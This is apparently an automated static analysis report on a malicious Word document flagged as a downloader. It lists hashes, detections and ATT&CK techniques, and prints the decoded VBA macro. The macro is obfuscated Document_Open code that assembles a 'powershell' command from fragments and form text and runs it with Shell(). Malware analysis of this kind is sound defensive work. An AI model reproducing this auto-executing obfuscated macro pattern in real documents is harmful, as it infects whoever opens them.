Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2ad266a067ea36f9…

MALICIOUS

Office (OLE)

268.0 KB Created: 2019-02-05 21:18:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 8298ec8fa83e94091106fc0a66a2cb8e SHA-1: 39854083054bb976c5a3bb97ef2f387ddf08d357 SHA-256: 2ad266a067ea36f9fb0e5a7f1a45782a8eb81b7ea73b30fb2c8d8ca38b1ec5e6
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution macro that utilizes the Shell() function. This indicates an attempt to download and execute a secondary payload. The ClamAV detection name 'Doc.Downloader.Sagent-6852534-0' further supports this downloader functionality. The script concatenates strings to form the command 'SHELL ' which is then executed.

Heuristics 6

  • ClamAV: Doc.Downloader.Sagent-6852534-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-6852534-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2215 bytes
SHA-256: 4ecfed99b4a26ac71519e675ef3425758a5bd21df0fd5003d70e1280e97f50aa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()

Dim gqfS5wxG As String
gqfS5wxG = wbOGogpB
Dim fN0Un7E As Long
fN0Un7E = (1283 - 1263) / (1)
Dim nCmBZ01s(11 To 184) As String
nCmBZ01s(11) = "hOGjIw"
Dim k067cxNq(10 To 164) As String
k067cxNq(10) = "Q3uWtz"
Call w("er")
End Sub

Attribute VB_Name = "GXbkFnp"
Sub w(aOU0sH)
Dim ntwTuIeoA(15 To 54) As String
ntwTuIeoA(15) = "F82wytA"
Dim IIbHi0L9(15 To 54) As String
IIbHi0L9(15) = "dnVsg7oj"
Dim kAdiNk() As Byte
Dim oHbdwQaDN(106) As Byte
Dim mFaZVsnp(256) As Byte
Dim u0aW23Ttq() As Byte
Dim WN0WIV3jR(2 To 63) As Long
WN0WIV3jR(2) = 368 - 221
Dim FmBUDp(16 To 107) As String
FmBUDp(16) = "ZZClLypP"
iruciwO5 = "SHE" & "LL "
ro7yWutbA = "ow"
NTlX4aDe = aOU0sH
Dim McGO0IS
McGO0IS = m6smwDu
Dim k0kPQA(13 To 222) As String
k0kPQA(13) = "FX9UL6D0"
Dim LmyFBWC(1 To 198) As String
LmyFBWC(1) = "LMTWJCSs"
Dim KhcbKJkyv() As Byte
Call bENTdu(ro7yWutbA & NTlX4aDe & iruciwO5 & AjN0ozpi)
End Sub

Attribute VB_Name = "PFUGY"
Public Function UCg8OJBlz() As String
UCg8OJBlz = "p"
End Function
Function bENTdu(gpJlzIRE)
bENTdu = Shell(UCg8OJBlz() & gpJlzIRE, False)
End Function

Attribute VB_Name = "Hx2KATO"
Public Function AjN0ozpi()
Dim khrEeba As Object
Set khrEeba = New f
Dim AoQUWKVLP As Long
AoQUWKVLP = (-645 + 677) + (62)
Dim njJ0nL(4 To 87) As Long
njJ0nL(4) = 71 + 120
Dim jhkJd
jhkJd = pHsm0duV
Dim peU693C As String
peU693C = SieYc5H
Dim RRoB9e As String
Dim yNmRxFD(15 To 176) As Long
yNmRxFD(15) = 326 - 241
Dim RfRKm4g
RfRKm4g = RwX7na
RRoB9e = khrEeba.de.Text
AjN0ozpi = RRoB9e
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{1DF2A06E-DEBD-4DA1-A4A8-58E0E4B4EAFB}{B101313B-DEBE-4296-98D9-7A59B895D796}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False